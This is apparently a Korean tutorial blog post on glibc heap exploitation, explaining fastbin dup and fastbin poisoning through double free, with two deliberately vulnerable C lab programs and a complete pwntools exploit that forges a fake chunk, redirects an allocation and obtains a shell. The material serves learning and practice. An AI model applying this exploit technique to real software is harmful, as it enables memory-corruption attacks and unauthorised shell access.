rosieblue
article thumbnail
728x90

이번 포스트는 [Heap] Exploitation : Double Free Bug을 알아야 읽을 수 있다.

 

Fastbin dup & poisoning

Fastbin dup

fastbin dup은 double free bug을 통해 이미 할당된 청크에 다른 청크를 또 할당하는 기법이다. 아까 위에서 재할당을 통해서 ptr3만 0x602030을 가리키게 했지만 만약 추가적으로 ptr4,ptr5로 두번이나 재할당하게 되면 ptr5또한 0x602030을 가리키게 된다. 그래서 0x602030에 두개의 청크가 할당되게된다. 

 

Fastbin Poisoning

fastbin poisoning은 이미 해제된 힙 청크의 fd를 조작하여 임의의 주소에 힙 청크를 할당할 수 있게 하는 공격이다.

 

아까 위에서 ptr3이 0x602030을 가리키게 했었다. 이때 0x602030의 fd,bk에 해당하는 데이터 영역을 조작해서 freelist에 다른 원소를 추가할 수 있다고 했다. 이때 재할당을 통해 해당 원소가 호출되면 그 주소에 (즉 우리가 조작한 주소에) 청크를 할당할 수 있게 된다.

하지만 fastbin 크기의 청크를 할당하려고 할 때 그 청크의 사이즈가 실제로 fastbin 사이즈인지 검증하는 과정을 거치므로, 조작하려는 주소 근처에서 size 관련 처리도 해주어야한다.

 

이처럼 fastbin 크기의 힙을 할당하려면, malloc 함수를 실행할 때 해당 힙의 크기가 실제로 fastbin의 크기가 맞는지 검증하는 과정을 거친다. 따라서 Fake Chunk를 만들 때 사이즈도 신경 써줘야한다.

 

 

 

예제 1

아래 코드를 통해 실습해보자.

// gcc -o fastbin_dup1 fastbin_dup1.c
#include <stdlib.h>
#include <stdio.h>
long win;
int main()
{
	long *ptr1, *ptr2, *ptr3, *ptr4;
	*(&win - 1) = 0x31; //&win은 (long*)자료형이므로 여기서 1빼면 8byte가 빠짐
	ptr1 = malloc(0x20);
	ptr2 = malloc(0x20);
	free(ptr1);
	free(ptr2);
	free(ptr1); //여기까지 실행되면 ptr1과 ptr2의 fd가 서로를 가리키고 있다.
	//heapinfo는 0x602000 --> 0x602030 --> 0x602000 (overlap chunk with 0x602000(freed) )

	ptr1 = malloc(0x20);
	ptr2 = malloc(0x20);
	ptr1[0] = &win - 2; // ptr3과 동일함. fd값을 win값으로 만들어준다.
	ptr3 = malloc(0x20);// 이때 ptr1의 fd를 확인하여 bin에 win주소를 추가한다.
	ptr4 = malloc(0x20); //ptr1의 fd를 참조하여 win에 값의 포인터를 반환한다.
	ptr4[0] = 1; // 그럼 win값을 조작하는게 가능해진다.
	if(win) {
		printf("Win!\n");
	}
	return 0;
}

*(&win - 1) = 0x31;

*(&win-1) 부분에 0x31을 넣어주었다. (왜 이런 과정을 거치는지에 대해서는 뒤에서 나온다.) 참고로 &win은 포인터자료형이므로 -1를 하면 long 만큼의 바이트가 빠지게되는 것을 기억하자!! 

포인터 연산자는 포인터 자료형의 크기만큼 더하거나 뺸다;; 순간 바보같이 헷갈림

꼭 포인터 연산자 아니어도 &처럼 걍 주소면 다 공식이 적용되는 것 같다.

https://dojang.io/mod/page/view.php?id=1925 

 

COS Pro 2급 C 언어: 44.1 포인터 연산으로 메모리 주소 조작하기

포인터 연산은 포인터 변수에 +, - 연산자를 사용하여 값을 더하거나 뺍니다. 또는, ++, -- 연산자를 사용하여 값을 증가, 감소시킵니다. 단, *, / 연산자와 실수 값은 사용할 수 없습니다. 포인터 +

dojang.io

 

ptr1=malloc(0x20); ptr2=malloc(0x20);

두번의 malloc을 통해 ptr1, ptr2가 잘 할당이 되었다. 이제 이 친구들을 해제하면 사이즈가 0x31이므로 fastbin에 순차적으로 들어갈 것이다.

 

free(ptr1); free(ptr2); free(ptr1);

세 번의 free를 해준 모습이다. free를 해줘서 fd 부분에 값이 적혔다. 참고로 fastbin은 단일 연결 리스트이므로 bk는 사용하지 않기에 이부분은 신경 안써도 된다.

fastbin에는 0x602000이 중복해서 들어가있는 모습을 볼 수 있다. 이때 malloc(0x20)을 하면 0x602000에 접근할 수 있을 것이고 데이터부분을 수정해 fd 부분을 수정해서 freelist 구조를 바꿀 수 있다.

 

ptr1 = malloc(0x20); ptr2 = malloc(0x20); ptr1[0] = &win - 2;

malloc을 통해 ptr1에는 0x60200(가장 최근에 해제된 청크)가, ptr2에는 0x602030(두번째로 빠르게 해제된 청크)가 재할당되었다. fastbin사이즈의 청크들은 할당될때 fastbin을 먼저 뒤진다.

 

그리고 ptr1[0]을 해주었는데, ptr[0]은 곧 0x602000의 첫 8byte이므로 free chunk라면 fd 부분에 해당한다.

그런데 이미 fastbin에 0x602000이 있으므로 fd를 &win-2로 바꾸게되면 &win-2가 freelist에 적히게 된다.

 

 

ptr3 = malloc(0x20);&nbsp; ptr4 = malloc(0x20); ptr4[0] = 1;

fastbin에는 원래 0x602000(Latest), &win-2가 있었는데 재할당을 해줬으므로 ptr3에는 0x602000가, ptr4에는 &win-2가 재할당된다. 한편, ptr4에 바로 &win-2가 재할당되지는 않는다. fastbin크기의 힙을 할당하기 전에는 위에서 언급했듯, 할당하려는 힙의 크기가 실제로 fastbin의 크기가 맞는지 검증하는 과정을 거친다. 

하지만 우리가 위에서 *(&win-1)=0x31; 를 통해 size를 조작해주었기 때문에 검증을 패스할 수 있게 되어서 ptr4에 잘 할당되는 것이다.

 

그리고 ptr4[0]은 결국 데이터부분이므로 ptr4[0]=1;을 해주면 &win부분에 1이 적히게 된다.

if(win) {
		printf("Win!\n");
	}

따라서 win이 1이되므로 위에 있는 맨 마지막 조건문을 통과하여 "Win!\n"이 출력되게 된다.

 

 

예제 2

아래 코드는 32byte 짜리 힙을 할당하고 데이터를 적거나 해제할 수 있는 코드이다.

// gcc -o fastbin_dup2 fastbin_dup2.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char name[16];
int overwrite_me; 

int main()
{
	int ch, idx;
	int i = 0;
	char *ptr[10];
    
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
    
	printf("Name : ");
	read(0, name, 16);
    
	while (1) {
		printf("> ");
		scanf("%d", &ch);
		switch(ch) {
        
			case 1: //할당 및 데이터 입력
				if( i >= 10 ) {
					printf("Do not overflow\n");
					exit(0);
				}
                
				ptr[i] = malloc(32);
				printf("Data: ");
				read(0, ptr[i], 32-1);
				i++;
				break;
                
			case 2: //free
				printf("idx: ");
				scanf("%d", &idx);
				free(ptr[idx]);
				break;
                
			case 3: //최종 셸 획득
				if( overwrite_me == 0xDEADBEEF ) {
					system("/bin/sh");
				}
				break;
                
			default:
				break;
		}
	}
    
	return 0;
}

 

익스플로잇 시나리오

0. name에 0x0*8+0x31 넣기 (4번 때문에 미리 해줌. Fake chunk 사이즈 맞추는 것)

1. 힙 청크 두개 할당 (ptr[0]->A청크, ptr[1]->B청크)

2. free(ptr[1]), free(ptr[0]), free(ptr[1]) 

3. 재할당으로 ptr2->B, ptr3->A 할당. B의 fd에 overwrite_me주소 넣기 

4. 재할당으로 ptr4->overwrite_me 청크 할당.(0번으로 사이즈 검증 우회) 데이터로 0xDEADBEEF 넣기

5. case 3으로 셸 획득

 

fakechunk = p64(0) #prev_size
fakechunk += p64(0x31) #size
print p.sendlineafter("Name :", fakechunk)

overwrite_me 바로 직전에 Name이 있으므로 해당 위치에 fake chunk header를 보내준다. fake chunk의 데이터부분은 overwrite_me 위치에서 시작할 것이다.

 

위처럼 fake chunk가 구성된다.

 

fake_chunk_name = elf.symbols['name'] #Fake chunk 시작 주소
add(p64(fake_chunk_name)) # 0x602010 : FD overwrite
add("AAAA") # 0x602030
add("BBBB") # 0x602010

pause()
add(p64(0xDEADBEEF)) # Arbitrary allocate, write

getshell()

FD를 name의 주소(&overwrite_me-4), 즉 fake chunk 시작주소로 조작하였다. 현재 freelist에는 fake chunk 주소를 포함하여 4개의 원소가 있으므로 재할당을 4번 해준다. 4번째 재할당 때는 fake chunk 주소로 재할당 될 것이므로 0xDEADBEEF를 입력해 주었다.

 

 

최종 코드는 아래처럼 된다.

# fastbin_dup2.py 

from pwn import *

p = process("./fastbin_dup2")

def add(data):
	print p.sendlineafter(">","1")
	print p.sendlineafter(":",str(data))
    
def free(idx):
	print p.sendlineafter(">","2")
	print p.sendlineafter(":",str(idx))
    
def getshell():
	print p.sendlineafter(">","3")
    
elf = ELF('fastbin_dup2')

fakechunk = p64(0)
fakechunk += p64(0x31)

print p.sendlineafter("Name :", fakechunk)

add("AAAA") # 0
add("AAAA") # 1 

free(0)
free(1)
free(0)

overwrite_me_addr = elf.symbols['overwrite_me']
fake_chunk_name = elf.symbols['name']

add(p64(fake_chunk_name)) # 0x602010 : FD overwrite

add("AAAA") # 0x602030
add("BBBB") # 0x602010

add(p64(0xDEADBEEF)) # Arbitrary allocate, write

getshell()
p.interactive()

 

 

정리) fastbin dup& poisoning을 통해 fd를 조작하고 freelist의 요소를 수정하거나 추가할 수 있다. 한편 재할당될때에는 해당 청크 크기가 실제로 fastbin 크기가 맞는지 검증하는 과정을 거치므로 이도 수정해줘야 한다.
profile

rosieblue

@Rosieblue

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!